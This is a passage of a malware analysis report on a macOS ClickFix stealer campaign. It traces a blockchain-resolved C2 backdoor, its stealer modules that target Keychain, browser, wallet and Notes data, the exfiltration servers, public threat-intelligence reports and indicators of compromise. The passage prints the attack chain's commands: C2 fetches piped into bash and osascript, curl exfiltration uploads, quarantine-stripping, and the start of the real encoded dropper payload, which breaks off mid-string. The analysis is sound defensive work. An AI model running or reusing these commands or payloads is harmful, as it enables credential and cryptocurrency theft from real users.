repeat forever:
    if __feZ1gxzI() (C2 resolved and "check" = success):
        if _RzALY49fc1E(uuid, user, txid) (valid password and machine registered):
            launch in the background: POST txid&init | bash
            repeat:
                response ← POST uuid&username&txid&task
                if the response doesn't contain "notasks":
                    "runloader" → background: POST txid&smodule | osascript
                    "runlight"  → background: POST txid&lmodule | osascript
                    "openshell" → background: POST uuid&username&txid&shell | bash
                on error: wait 120 s, exit the inner loop (new C2 resolution)
                wait 120 s
    otherwise:
        wait 120 s

8.7 Observations on the code

• Server-side customisation. The __tqjMFuf property contains the txid sent by the loader. The C2 therefore generates the bmodule according to the request, at least for this value.
• Independent re-resolution. The bmodule doesn’t receive the C2 address from the loader: it reads the contract itself. It therefore follows any C2 change made in the contract while it runs.
• No delay after a failed registration. When the C2 is valid but _RzALY49fc1E returns false (missing or invalid password), the main loop starts again immediately: new eth_call, new check, new dialog.
• Unused parameter. The third parameter of __oVi0n3UPr (_b8iY7Hqs57i) is never read. The handler directly uses the global property __tqjMFuf.
• tccutil reset All. Run only on a first registration (newconnect), without a bundle identifier. It therefore resets the user’s privacy (TCC) decisions for all services and all applications.
• Files written by layer 3. Only ~/.passphrase (clear-text password or nopassphrase) and ~/.txid (content: ecbca83c146349f67156b33ecc3e1aef).

---

9. Modules downloaded by layer 3: init, lmodule, smodule (files 3 to 5)

9.1 Retrieval and hashes

The three modules were requested from the C2 with the same method as bmodule (section 7.5): a POST request identical to the one in the layer 3 code, with the response written to a file instead of being executed. The C2 served them on the basis of the txid alone, without a prior connect request or uuid, which is consistent with the body of these requests in layer 3 (txid=…&init, txid=…&lmodule, txid=…&smodule).

curl -s -X POST 'hxxps://payload1717[.]pro' -d 'txid=ecbca83c146349f67156b33ecc3e1aef&init'    -o init.txt
curl -s -X POST 'hxxps://payload1717[.]pro' -d 'txid=ecbca83c146349f67156b33ecc3e1aef&lmodule' -o lmodule.txt
curl -s -X POST 'hxxps://payload1717[.]pro' -d 'txid=ecbca83c146349f67156b33ecc3e1aef&smodule' -o smodule.txt

File	Request	Type	Lines	Bytes
init.txt	&init	bash, not obfuscated	6	642
lmodule.txt	&lmodule	obfuscated AppleScript	384	189,691
smodule.txt	&smodule	obfuscated AppleScript	541	198,862
Safari script (in smodule)	—	AppleScript, base64	21	881

File	Hashes
init.txt	MD5 f01eab8f2aa80593c0ecb323181cb1a1 SHA-1 1a999daaa338c328c9e6dd3e0058818dc7b2c2e2 SHA-256 07b2cef1ce103a0b6816337bf143d6e150da376de1f8cbada4ae5630b7224648
lmodule.txt	MD5 23fdda5cc549130984011412f044b54e SHA-1 faba71eff184ab0d4e9e4d2efcc216d0ab5e0906 SHA-256 b6a8b5fd43f30dd91318c39154f272d7eb73cd8be618ea5504273943a439a1ce
smodule.txt	MD5 b4d4bffa46bc1c8f1662fc1e0628fb6a SHA-1 93eb8c0e861d068a681834b1059cbd318f885899 SHA-256 04acace28e94f71f00576aa458b2fa6c8692e4a5064e18f00eeae099453f18ba
Safari script	SHA-256 5ecb6e747905d536a8739362e3cc69e8913c87c8ab5cd8be59f7af91e7ebcdd3

The hashes are computed on the content displayed by cat in the terminal transcript, with line endings normalised to LF. The reference hashes are to be recalculated on the raw files (sha256sum init.txt lmodule.txt smodule.txt).

Obfuscation measure	lmodule	smodule
ASCII character N	2,832	2,916
character id N	2,718	2,835
string id {…}	168	160
& operators	7,681	7,833
Handlers	12	17
Decoy variables	6	6

9.2 init: machine inventory

This bash script (section 13.6):

1. collects the hardware UUID (ioreg, with system_profiler as a fallback) and the user name (whoami);
2. lists the applications in /Applications and /System/Applications whose bundle identifier (mdls -name kMDItemCFBundleIdentifier) doesn’t start with com.apple., i.e. third-party applications;
3. sends everything to the C2 as multipart (curl -F): txid, uuid, username, apps, to hxxps://payload1717[.]pro/.

9.3 What lmodule and smodule have in common

Element	Value observed
Identification	Banner Essential macOS Stealer, Build: NITRO4, written in the theft report (Information.txt / UserInformation)
Dependency on layer 3	Reads ~/.passphrase with cat: the password phished by layer 3 is reused
Password	Written in clear text in the Password and Information.txt / UserInformation files of the archive
Public IP address	curl … hxxp://api.ipify[.]org/
System information	system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType
Chromium browsers (11)	Yandex, Chrome, Brave, Edge, Vivaldi, Opera, Opera GX, Chrome Beta, Chrome Canary, Chromium, Chrome Dev (Default and Profile* profiles)
Extensions targeted	181 entries, i.e. 177 unique crypto wallet identifiers (MetaMask, Trust Wallet, Phantom, Coinbase Wallet, OKX, Rabby, Keplr…) and 16 password or authentication managers (iCloud Passwords, LastPass, 1Password, NordPass, Keeper, Proton Pass, Bitwarden, Dashlane, Enpass, Authenticator…), copied from Local Extension Settings and IndexedDB
Desktop wallets (22)	Exodus, Electrum, Atomic, Guarda, Coinomi, Sparrow, Wasabi, Bitcoin Core, Armory, Electron Cash, Monero, Litecoin Core, DashCore, Dogecoin Core, Electrum-LTC, BlueWallet, Zengo, Trust Wallet, Ledger Live, Ledger Wallet, Trezor Suite, TON Keeper
Messaging	Telegram Desktop (tdata)
Apple Notes	Content of all notes through tell application "Notes"
Exclusions when copying	.DS_Store, Partitions, Code Cache, Cache, market-history-cache.json, journals, Previews, dumps, emoji, user_data, __update__
Packaging	ditto -c -k --sequesterRsrc <folder> /tmp/<id>.zip
Sending	curl -F 'txid=…' -F 'file=@/tmp/<id>.zip' -F 'uuid=<UUID>', with a 90 MiB threshold (90 × 1024 × 1024 bytes) that changes the delay or the destination

9.4 lmodule (task runlight)

Element	Value observed
Working folder	/tmp/22127d968c8a5ebd7e30e772541cf2ad1791723205
File collection	The FileGrabber handler (_gvhzbIXKm: .txt .json .dat .md .cfg .env .wallet .pdf .ini from the Desktop, Documents and Downloads, under 0.5 MiB per file, 10 MiB in total) is defined but never called: the corresponding try block is empty
Notes	HTML body of all notes, cleaned by a perl script, written to Notes (<n>).txt
Report	Information.txt: banner, build, user, password, IP, hostname, system_profiler
Native extractor binary	Downloaded with curl -fsSL --retry 5 --retry-delay 60 --retry-all-errors from hxxps://payload1717[.]pro/es-arm (Apple Silicon, sysctl -n hw.optional.arm64 = 1) or hxxps://payload1717[.]pro/es-x86 (Intel), to /tmp/22127d…205-tool/extractor. Then chmod +x, xattr -dr com.apple.quarantine and ad hoc signing (codesign --force --sign -)
Keychain keys	extractor dumpkeys -o ~/.chainblob256 --keychain-pw '<password>', if ~/.chainblob256 doesn’t exist yet. The file is copied into the archive under the name bkeylist and stays in the home folder
Browser data	extractor archive -o <folder>/browsers
Cleanup	Deletion of the binary and its folder, then of the working folder after compression. The archive /tmp/22127d…205.zip is not deleted
Error log	runtimelog.txt in the working folder (timestamp, step, message)
Destination	hxxps://payload1717[.]pro/contact.php. 3,000 s delay above 90 MiB, otherwise 90 s, then a new attempt at 3,000 s on failure. curl output in /tmp/1-u.txt, /tmp/2-u.txt or /tmp/3-u.txt

Ad hoc signing and the removal of the quarantine attribute make it possible to run an unsigned, downloaded binary without a Gatekeeper warning.

extractor binary (Apple Silicon, es-arm)

The binary was retrieved with a simple GET (curl -s hxxps://payload1717[.]pro/es-arm -o es-arm.bin), without execution. The Intel variant (es-x86) was not retrieved.

Property	Value
Size	13,810,386 bytes
Type (file)	Mach-O 64-bit arm64 executable, flags:<DYLDLINK\|PIE>
MD5	5d2ae1a3dd67e1a0e533791d7733f9dc
SHA-1	8e698048bdeab71cfc8a3d570b5d9a22e092427b
SHA-256	e6935e4b80b3d7ee2edff5ac74275595d4327fc7daf4cb0a49c067da2bfa1bd4
VirusTotal	File report (lookup by SHA-256 hash, no upload)
Language	Go (Go runtime strings, DefaultGODEBUG), spf13/cobra command-line interface

Significant strings (extracted with strings -n 8, filtered by keywords):

Category	Strings observed
Original project	GitHub: https://github.com/moonD4rk/HackBrowserData; help examples hack-browser-data dumpkeys -o keys.json and … dumpkeys" \| hack-browser-data restore --keys - --data-zip data.zip
Go dependencies	github.com/moond4rk/keychainbreaker v0.2.6, github.com/moond4rk/binarycookies v1.0.3
Subcommands and options	dumpkeys, archive, restore, version; --keychain-pw, --data-dir, --data-zip, --keys, --zip, -o
Browsers	Chrome, Chromium, Edge, Brave, Opera, Opera GX, Vivaldi, Yandex, CocCoc, Firefox, Safari
Data types	password, cookie, history, bookmark, download, autofill, creditcard (SQL query on name_on_card, expiration_month, expiration_year)
macOS Keychain	login.keychain-db, decrypting DB key, keychainbreaker: wrong key or password, keychainbreaker: keychain is locked, no macOS login password entered; keychain-protected data will be exported as metadata only
Files targeted	Login Data, Local State, Web Data, Cookies, History, key4.db, Cookies.binarycookies
archive function	output archive of decryption-relevant browser files; exactly one of --data-dir or --data-zip is required

The strings of the extractor binary show that it is a build of HackBrowserData, an open-source tool written in Go that extracts browser data. It contains the project’s GitHub URL, its built-in help (hack-browser-data dumpkeys -o keys.json…) and two libraries by the same author: keychainbreaker, which decrypts the macOS Keychain, and binarycookies, which reads Safari cookies.

The help describes a two-step process, which matches the calls made by lmodule:

1. dumpkeys extracts the decryption keys using the session password. Without a password, the tool’s messages state that it only retrieves metadata. This is why layer 3 asks for the password in a loop.
2. archive gathers the browser files. The restore command then makes it possible to decrypt everything off the machine. lmodule sends precisely the keys (bkeylist) and the archive (browsers) to the C2: decryption can therefore happen on their side.

The string extraction was filtered by keywords and limited to the first 100 matches: the inventory is not exhaustive.

9.5 smodule (task runloader)

Element	Value observed
Working folder	/tmp/abc842cf738dab4c0188caba9ecec8c01791723204/
Chromium browsers	Direct copy of Cookies, Network/Cookies, Web Data, Login Data and History from each profile, plus the extensions (wallets and managers)
Firefox	cert9.db, cookies.sqlite, cookies.sqlite-wal, formhistory.sqlite, key4.db, logins-backup.json, logins.json, signons.sqlite, places.sqlite from the *.default* and Profile* profiles
Keychain, macOS ≥ 26.4	For Chrome, Edge, Brave, Opera and Vivaldi: checks that the <browser> Safe Storage entry exists (security find-generic-password -s), then repeats without limit, every 0.1 s, security find-generic-password -w -s '<browser> Safe Storage' until it gets the secret. The secrets are written to the Secrets file
Keychain, macOS < 26.4	Copy of ~/Library/Keychains/login.keychain-db
Report	UserInformation: banner, build, user, password, IP, system_profiler
File collection	Through the Finder (entire contents), Desktop then Documents. Files under 250,000 bytes, 5,000,000 bytes in total. Files are renamed with a sequence number and subfolders replaced by random names d<6 digits>
Notes	Title and plain text of all notes in all folders, written to Notes
Safari cookies	Embedded script (section 13.9) launched in the background: creates ~/tempFolderC/ and duplicates Cookies.binarycookies there through the Finder (path Library/Safari on 10.14 and 10.15, com.apple.Safari container otherwise). After 3 s, the file is copied into the archive. ~/tempFolderC/ is not deleted
Cleanup	None: the working folder and /tmp/abc842…204.zip stay in /tmp
Destination	Above 90 MiB: hxxp://62.60.226[.]50/upload.php (unencrypted HTTP, direct IP address). Otherwise hxxps://payload1717[.]pro/upload.php (90 s), with fallback to hxxp://62.60.226[.]50/upload.php on failure. curl output in /tmp/updstat.txt

9.6 Observations

• Link between the layers. ~/.passphrase, written by layer 3, is read by both modules. lmodule passes it to extractor (--keychain-pw) to unlock the Keychain. Stealing the password with the fake “System Preferences” window therefore directly prepares the theft of the Keychain secrets.
• Two variants, two exfiltration paths. lmodule sends to /contact.php on the C2. smodule sends to /upload.php, with a fallback IP address that is not behind Cloudflare (62.60.226[.]50), used over unencrypted HTTP.
• Adaptation to the macOS version. smodule changes its Keychain access method from macOS 26.4: extraction of the Safe Storage keys instead of copying the login.keychain-db database.
• Inactive function. In lmodule, the file collection (FileGrabber) is present but neutralised by an empty try block.
• Traces left on the machine. ~/.chainblob256 (lmodule), ~/tempFolderC/Cookies.binarycookies (smodule), the archives /tmp/22127d…205.zip and /tmp/abc842…204.zip, the folder /tmp/abc842…204/ and the logs /tmp/1-u.txt, /tmp/2-u.txt, /tmp/3-u.txt and /tmp/updstat.txt.
• Folder identifiers. The names 22127d968c8a5ebd7e30e772541cf2ad1791723205 and abc842cf738dab4c0188caba9ecec8c01791723204 are fixed in the modules served. They are indicators for searching on disk.

9.7 Exfiltration infrastructure 62.60.226[.]50

The fallback address used by smodule (hxxp://62.60.226[.]50/upload.php) is not behind Cloudflare. Its public characteristics were consulted on Shodan on 11 October 2026:

Figure 5: Shodan view of 62.60.226[.]50, 11 October 2026.

Property	Value
Hostnames	vm4676.defhost[.]co, snaplightshop[.]com
Domains	defhost[.]co, snaplightshop[.]com
Location	Germany, Frankfurt am Main
Organisation / ISP	FEMO IT SOLUTIONS LIMITED
ASN	AS214351
Open ports	22 (SSH), 25 (SMTP), 80 (HTTP)
System	Ubuntu
Web server	Apache HTTP Server 2.4.58
SSH	SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.19 (seen 2026-10-07 07:29:53 UTC)
SSH host key	ecdsa-sha2-nistp256, fingerprint bb:cc:e9:39:e3:e0:d4:ab:0d:c2:ab:db:6b:62:d3:12
Shodan tags	self-signed, starttls
Last seen	2026-10-11

Observations:

• Port 443 is not exposed. This is consistent with the unencrypted HTTP use made by smodule (hxxp://…/upload.php, port 80, served by Apache).
• The name vm4676.defhost[.]co suggests a virtual machine rented from a hosting provider. It is a dedicated server of the operator, unlike the shared Cloudflare addresses of payload1717[.]pro.
• The SSH host key fingerprint makes it possible to search for other servers sharing the same key, so probably the same image or the same operator.
• The presence of snaplightshop[.]com as a hostname doesn’t by itself establish a link with the campaign: it may be a domain pointing to this address for another reason.

---

10. Execution chain

Process tree deduced from the code:

Initial infection
Terminal.app
└─ user's shell
   └─ (pasted command, not captured) → update.sh
      └─ osascript -e "<layer 1 in clear text>"
         ├─ /bin/sh -c "mkdir -p …; cat > …/com.Apple.fzylihcshhojvmnr.plist <<END_PLIST …"
         ├─ /bin/sh -c "launchctl unload …"
         └─ /bin/sh -c "launchctl load …"

Persistent execution (RunAtLoad / KeepAlive)
launchd (user session)
└─ /bin/bash -c "echo '<b64>' | base64 -d | osascript"
   ├─ base64 -d
   └─ osascript                                   (layer 2)
      ├─ /bin/sh -c "r=$(curl … eth_call …); …"   (once per node tried)
      │  ├─ curl -s --max-time 15 hxxps://<node>
      │  ├─ sed -n …   ├─ printf   └─ xxd -r -p
      └─ /bin/sh -c "curl … -d 'txid=…&bmodule' | osascript"
         ├─ curl -X POST hxxps://<C2>              (payload1717[.]pro on 11/10/2026)
         └─ osascript                             (layer 3, bmodule)
            ├─ /bin/sh -c whoami | id -un | echo $USER | logname
            ├─ /bin/sh -c "ioreg -rd1 -c IOPlatformExpertDevice | …"  (or system_profiler)
            ├─ /bin/sh -c "r=$(curl … eth_call …); …"                  (re-resolution)
            ├─ /bin/sh -c "/usr/bin/curl -d \"check\" … 'https://<C2>/'"
            ├─ /bin/sh -c "cat ~/.passphrase"
            ├─ /bin/sh -c "dscl . authonly '<user>' '<pwd>'"
            ├─ ["System Preferences" dialog]
            ├─ /bin/sh -c "echo '<pwd>' > ~/.passphrase"
            ├─ /bin/sh -c "curl … -d 'uuid=…&username=…&txid=…&connect'"
            ├─ /bin/sh -c "echo '<txid>' > ~/.txid"                     (if newconnect)
            ├─ /bin/sh -c "tccutil reset All"                           (if newconnect)
            ├─ /bin/sh -c "nohup sh -c 'curl … txid=…&init | bash' … &"
            ├─ /bin/sh -c "curl … -d 'uuid=…&username=…&txid=…&task'"   (every 120 s)
            └─ /bin/sh -c "nohup sh -c 'curl … &smodule|&lmodule | osascript' … &"
                                                  or "… &shell | bash"

Modules (files 3 to 5)
bash (init)
   ├─ ioreg / system_profiler, whoami
   ├─ find /Applications /System/Applications … | mdls …        (third-party applications)
   └─ curl -F txid -F uuid -F username -F apps hxxps://payload1717[.]pro/
osascript (lmodule)
   ├─ cat ~/.passphrase ; curl hxxp://api.ipify[.]org/ ; hostname ; system_profiler
   ├─ [Apple Events → Notes] ; perl (HTML cleanup)
   ├─ curl -fsSL hxxps://payload1717[.]pro/es-arm|es-x86 -o /tmp/<id>-tool/extractor
   ├─ chmod +x ; xattr -dr com.apple.quarantine ; codesign --force --sign -
   ├─ extractor dumpkeys -o ~/.chainblob256 --keychain-pw '<pwd>'
   ├─ extractor archive -o <folder>/browsers
   ├─ ditto (copies) ; ditto -c -k --sequesterRsrc → /tmp/<id>.zip
   └─ curl -F txid -F file=@… -F uuid hxxps://payload1717[.]pro/contact.php
osascript (smodule)
   ├─ cat ~/.passphrase ; curl hxxp://api.ipify[.]org/ ; system_profiler
   ├─ security find-generic-password -w -s '<browser> Safe Storage'   (macOS ≥ 26.4, in a loop)
   │    or copy of ~/Library/Keychains/login.keychain-db              (macOS < 26.4)
   ├─ [Apple Events → Finder] Desktop / Documents collection
   ├─ [Apple Events → Notes]
   ├─ nohup sh -c "echo '<b64>' | base64 -D | osascript"                 (Safari cookies)
   ├─ cat / cp -R (browsers, Firefox, wallets, Telegram)
   ├─ ditto -c -k --sequesterRsrc → /tmp/<id>.zip
   └─ curl -F … hxxps://payload1717[.]pro/upload.php  or  hxxp://62.60.226[.]50/upload.php

---

11. Threat intelligence: a known campaign, a different variant

Sections 1 to 10 only describe what was observed in the samples. This section compares those observations with public reports on the same infrastructure.

11.1 A publicly documented crimekit

The Polygon contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 and the operator address 0x363AeAF1…f1C64AbE3 are already documented as the core of a macOS ClickFix crimekit:

• NetbyteSEC (August 2026) describes a “TrustKey” lure, the same AppleScript layers, the bmodule backdoor, the smodule / lmodule stealers and an XMRig miner.
• Mehmet Buğra Şahinoğlu (September 2026) traces the delivery through a compromised website and counts 25 rotations of the C2 in the contract since its deployment on 1 May 2026.
• TRUV.IS (report TT-20260927-37, September 2026) consolidates the entry paths seen so far: typosquatted domains, a compromised site, “TrustKey” and “ProveID” pages, a fake job interview and two malicious Chrome extensions.

The naming isn’t settled. The malware calls itself Essential macOS Stealer (builds NITRO, NITRO2 and NITRO4 according to TRUV.IS). Red Canary tracks it as Phexia, while NetbyteSEC and Talanos attach it to AMOS (Atomic macOS Stealer). The campaign is unattributed: one entry path is linked to Contagious Interview tradecraft by Prophet Security, at moderate confidence only.

11.2 What matches

Element	Public reports	This sample
C2 resolution	eth_call with selector 0x2686ecea on the same contract, same four RPC nodes	Identical
Persistence	User LaunchAgent, RunAtLoad and KeepAlive, base64 loader piped into osascript	Identical
Backdoor protocol	check / connect / task, newconnect → ~/.txid + tccutil reset All	Identical
Password capture	Fake “System Preferences” dialog, dscl . authonly, ~/.passphrase	Same mechanism
Stealer	smodule (full) and lmodule (light), “Essential macOS Stealer” banner, ditto archive, 90 MB threshold	Same structure, build NITRO4
Exfiltration	/upload.php, fallback to 62.60.226[.]50	Same, 62.60.226[.]50 also listed by Şahinoğlu and TRUV.IS

11.3 What differs

Element	Public reports	This sample
Lure	“TrustKey”, “ProveID”, fake CAPTCHAs on compromised sites	“Relay / HUMAN CHECK”, not found in the reports consulted
Delivery	curl … \| bash from a Cloudflare Worker or a script.sh	update.sh from ch980[.]askal[.]store, which runs osascript -e directly
LaunchAgent label	com.<16 random letters> (e.g. com.ifipbqmfnnywqguz)	com.Apple.<16 letters>: imitates Apple’s naming, with a capital A
Dialog text	“To run the application you need to change the settings for its operation.” or “Please enter password for continue:”	“You must enter the password to continue:”
Task polling	Every 60 seconds	Every 120 seconds
Tasks	runloader, runlight, openshell, replacer (fake Ledger app, then XMRig miner)	runloader, runlight, openshell: no replacer task in the backdoor received
lmodule	Light copy of smodule, without Notes, Safari cookies or file collection	Downloads a native extractor binary (HackBrowserData with keychainbreaker), extracts the Keychain keys with the phished password and sends to /contact.php. TRUV.IS states that neither contact.php nor HackBrowserData appear in the sources it compiled
Keychain access in smodule	security find-generic-password on the Safe Storage entries, copy of login.keychain-db as a fallback	Explicit branch on the macOS version: Safe Storage loop from macOS 26.4, copy of login.keychain-db before
Campaign identifier (txid)	427e8b573407f6029923cdb4686b5f77, 8b636a811a6367c4860dc65ea74225a4, c8a845e30830c48f753d01aa38927dc0, 8a4e280e1159833ede425a1306c2efe5	ecbca83c146349f67156b33ecc3e1aef, not listed in the reports consulted
C2	xuiaxwx[.]com, 67sixcebeh[.]surf, d9mjs[.]sbs…	payload1717[.]pro, written on 11 October 2026
Contract activity	25 entries counted on 7 September 2026, including a few test values	44 “Set Server URL” transactions on 11 October 2026, i.e. 19 more in a month. Each transaction doesn’t necessarily mean a new, distinct C2: the 19 new values were not all decoded

11.4 Assessment

This sample belongs to the same crimekit: same contract, same operator address on the blockchain, same backdoor protocol and same stealer family. This is a technical link (shared infrastructure, protocol and modules), not an attribution: it doesn’t establish that the same person or group is behind every branch, and the campaign remains unattributed. It is, however, a more recent and evolved variant:

• a new lure, a new delivery domain and a new campaign identifier, consistent with a kit distributed through several branches, each with its own txid;
• a LaunchAgent label that now imitates Apple’s naming;
• a “light” stealer that no longer just copies files but decrypts the Keychain on the machine with HackBrowserData and the phished password;
• a stealer adapted to macOS 26.4;
• an operator address that keeps updating the contract at a sustained pace.

The absence of the replacer task only describes the backdoor received on 11 October 2026: the C2 generates it on request, and other branches may still use it.

Sources: NetbyteSEC · Mehmet Buğra Şahinoğlu · TRUV.IS TT-20260927-37

---

12. Indicators of compromise (summary)

Values observed on 11 October 2026. The C2 stored in the contract changes regularly: check the contract history (section 7.4) for the value active at the time of an infection.

Type	Indicator	Context
URL	hxxps://ch980[.]askal[.]store/update.sh	Delivery (layer 0)
Domain	payload1717[.]pro	C2 read from the contract, served through Cloudflare
URL	hxxps://payload1717[.]pro/es-arm, /es-x86	extractor binary download
URL	hxxps://payload1717[.]pro/contact.php, /upload.php	Exfiltration
IP	62.60.226[.]50 (hxxp://62.60.226[.]50/upload.php)	Exfiltration over HTTP, AS214351
Contract	0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0 (Polygon)	C2 storage, selector 0x2686ecea (getServerURL())
Address	0x363AeAF1F67f1FB7ABdDC3f9806a301f1C64AbE3	Operator (creator of the contract)
txid	ecbca83c146349f67156b33ecc3e1aef	Campaign identifier sent to the C2
File	~/Library/LaunchAgents/com.Apple.fzylihcshhojvmnr.plist	Persistence (label com.Apple. + 16 letters)
File	~/.passphrase, ~/.txid, ~/.chainblob256, ~/tempFolderC/	Backdoor and stealer artefacts
Folder	/tmp/22127d968c8a5ebd7e30e772541cf2ad1791723205*, /tmp/abc842cf738dab4c0188caba9ecec8c01791723204*	Stealer working folders and archives
String	Essential macOS Stealer, Build: NITRO4	Theft report
SHA-256	f231b87753cc30674d1fcb1252184afc04d1c476815d858f6204391a1daef262	Layer 1 (dropper)
SHA-256	0473199a9065e445272384c7c8ee58c2c46a02eef621b39a3fc41a17d61cb452	Layer 2 (loader)
SHA-256	b88bceb34033f50a017489d4c4bc6be0c120c0ed4617b7a163f5cc16195a56f3	Layer 3 (bmodule)
SHA-256	07b2cef1ce103a0b6816337bf143d6e150da376de1f8cbada4ae5630b7224648	init
SHA-256	b6a8b5fd43f30dd91318c39154f272d7eb73cd8be618ea5504273943a439a1ce	lmodule
SHA-256	04acace28e94f71f00576aa458b2fa6c8692e4a5064e18f00eeae099453f18ba	smodule
SHA-256	e6935e4b80b3d7ee2edff5ac74275595d4327fc7daf4cb0a49c067da2bfa1bd4	extractor (Mach-O arm64)

Detection rules (YARA, Sigma) and hunting queries for this crimekit will be covered in a later post.

---

13. Full commands

This section reproduces the elements of the chain, in order of execution. They are analysed in detail in sections 4 to 9.

13.1 File 1: update.sh (layer 0)

File downloaded from hxxps://ch980[.]askal[.]store/update.sh, as retrieved on the analysis workstation (a single line, 37,581 bytes). The long base64 block it contains is layer 1:

osascript -e "$(echo "c2V0IF9fblZwZmRES1ZqZyB0byA2NzQ3MQpzZXQgX2x6R1NBZ0hGIHRvIDQ3OTguNTM3OQpwcm9wZXJ0eSBfZHlBMDEwOUNTZG4gOiAiQ2J4R2VFcXNoN0hQV0M1IgpzZXQgX19yOUx2UG1mV2UgdG8gOTY4NDEKcHJvcGVydHkgX19YSk1xeWlaRCA6ICJrMHFTOFFITlY1Igpwcm9wZXJ0eSBfWkRXOGtyVGt2UiA6ICJ1Y0JMcGRlOWJTeGZKcyIKcHJvcGVydHkgX1RaS2ZZVHN5Zm4gOiAienozTUdUOE1RIgpzZXQgX3ppTlVPdU4gdG8gKDMwOCArIDk2NCkgKiAzCmRvIHNoZWxsIHNjcmlwdCAoKCgoKCgoKChzdHJpbmcgaWQgezEwLCAxMDksIDEwNywgMTAwLCAxMDUsIDExNCwgMzIsIDQ1LCAxMTIsIDMyLCAzNCwgMzYsIDcyLCA3OSwgNzcsIDY5LCA0NywgNzYsIDEwNSwgOTgsIDExNCwgOTcsIDExNCwgMTIxLCA0NywgNzYsIDk3fSkgJiAoc3RyaW5nIGlkIHsxMTcsIDExMCwgOTksIDEwNCwgNjUsIDEwMywgMTAxLCAxMTAsIDExNiwgMTE1LCAzNCwgNTksIDEwLCA5OSwgOTcsIDExNiwgMzIsIDYyLCAzMiwgMzQsIDM2LCA3MiwgNzksIDc3LCA2OSwgNDcsIDc2LCAxMDUsIDk4LCAxMTQsIDk3LCAxMTQsIDEyMSwgNDcsIDc2LCA5NywgMTE3LCAxMTB9KSkgJiAoKHN0cmluZyBpZCB7OTksIDEwNCwgNjUsIDEwMywgMTAxLCAxMTAsIDExNiwgMTE1LCA0NywgOTksIDExMSwgMTA5LCA0NiwgNjUsIDExMiwgMTEyLCAxMDgsIDEwMSwgNDYsIDEwMiwgMTIyfSkgJiAoc3RyaW5nIGlkIHsxMjEsIDEwOCwgMTA1LCAxMDQsIDk5LCAxMTUsIDEwNCwgMTA0LCAxMTEsIDEwNiwgMTE4LCAxMDksIDExMCwgMTE0LCA0NiwgMTEyLCAxMDgsIDEwNSwgMTE1LCAxMTYsIDM0LCAzMiwgNjAsIDYwLCA2OSwgNzgsIDY4LCA5NSwgODAsIDc2LCA3MywgODMsIDg0LCAxMCwgNjAsIDYzLCAxMjAsIDEwOSwgMTA4LCAzMiwgMTE4LCAxMDEsIDExNCwgMTE1LCAxMDV9KSkpICYgKCgoc3RyaW5nIGlkIHsxMTEsIDExMCwgNjEsIDM0LCA0OSwgNDYsIDQ4LCAzNCwgMzIsIDEwMSwgMTEwLCA5OSwgMTExLCAxMDAsIDEwNSwgMTEwLCAxMDMsIDYxLCAzNCwgODUsIDg0LCA3MH0pICYgKHN0cmluZyBpZCB7NDUsIDU2LCAzNCwgNjMsIDYyLCAxMCwgNjAsIDMzLCA2OCwgNzksIDY3LCA4NCwgODksIDgwLCA2OSwgMzIsIDExMiwgMTA4LCAxMDUsIDExNSwgMTE2LCAzMiwgODAsIDg1LCA2NiwgNzYsIDczLCA2NywgMzIsIDM0LCA0NSwgNDcsIDQ3LCA2NSwgMTEyLCAxMTIsIDEwOCwgMTAxLCAzMiwgNjcsIDExMSwgMTA5LCAxMTIsIDExNywgMTE2LCAxMDEsIDExNCwgNDcsIDQ3LCA2OCwgODQsIDY4fSkpICYgKChzdHJpbmcgaWQgezMyLCA4MCwgNzYsIDczLCA4MywgODQsIDMyLCA0OSwgNDYsIDQ4LCA0NywgNDcsIDY5LCA3OCwgMzQsIDMyLCAzNCwgMTA0LCAxMTYsIDExNiwgMTEyLCA1OCwgNDcsIDQ3LCAxMTksIDExOSwgMTE5LCA0NiwgOTcsIDExMiwgMTEyLCAxMDgsIDEwMSwgNDYsIDk5LCAxMTEsIDEwOSwgNDcsIDY4LCA4NCwgNjgsIDExNSwgNDd9KSAmIChzdHJpbmcgaWQgezgwLCAxMTQsIDExMSwgMTEyLCAxMDEsIDExNCwgMTE2LCAxMjEsIDc2LCAxMDUsIDExNSwgMTE2LCA0NSwgNDksIDQ2LCA0OCwgNDYsIDEwMCwgMTE2LCAxMDAsIDM0LCA2MiwgMTAsIDYwLCAxMTIsIDEwOCwgMTA1LCAxMTV9KSkpKSAmICgoKChzdHJpbmcgaWQgezExNiwgMzIsIDExOCwgMTAxLCAxMTQsIDExNSwgMTA1LCAxMTEsIDExMCwgNjEsIDM0LCA0OSwgNDYsIDQ4LCAzNCwgNjIsIDEwLCAzMiwgMzIsIDYwLCAxMDAsIDEwNSwgOTksIDExNiwgNjIsIDEwLCAzMiwgMzIsIDMyLCAzMiwgNjAsIDEwNywgMTAxLCAxMjEsIDYyLCA3NiwgOTcsIDk4LCAxMDEsIDEwOCwgNjB9KSAmIChzdHJpbmcgaWQgezQ3LCAxMDcsIDEwMSwgMTIxLCA2MiwgMTAsIDMyLCAzMiwgMzIsIDMyLCA2MCwgMTE1LCAxMTYsIDExNCwgMTA1LCAxMTAsIDEwMywgNjIsIDk5LCAxMTEsIDEwOSwgNDYsIDY1LCAxMTIsIDExMiwgMTA4LCAxMDEsIDQ2LCAxMDIsIDEyMiwgMTIxLCAxMDgsIDEwNSwgMTA0LCA5OSwgMTE1LCAxMDQsIDEwNCwgMTExLCAxMDYsIDExOCwgMTA5LCAxMTAsIDExNCwgNjAsIDQ3LCAxMTV9KSkgJiAoKHN0cmluZyBpZCB7MTE2LCAxMTQsIDEwNSwgMTEwLCAxMDMsIDYyLCAxMCwgMzIsIDMyLCAzMiwgMzIsIDYwLCAxMDcsIDEwMSwgMTIxLCA2MiwgNzUsIDEwMSwgMTAxLCAxMTIsIDY1LCAxMDgsIDEwNSwgMTE4LCAxMDEsIDYwLCA0NywgMTA3LCAxMDEsIDEyMSwgNjIsIDEwLCAzMiwgMzIsIDMyLCAzMn0pICYgKHN0cmluZyBpZCB7NjAsIDExNiwgMTE0LCAxMTcsIDEwMSwgNDcsIDYyLCAxMCwgMzIsIDMyLCAzMiwgMzIsIDYwLCAxMDcsIDEwMSwgMTIxLCA2MiwgODIsIDExNywgMTEwLCA2NSwgMTE2LCA3NiwgMTExLCA5NywgMTAwfSkpKSAmICgoKHN0cmluZyBpZCB7NjAsIDQ3LCAxMDcsIDEwMSwgMTIxLCA2MiwgMTAsIDMyLCAzMiwgMzIsIDMyLCA2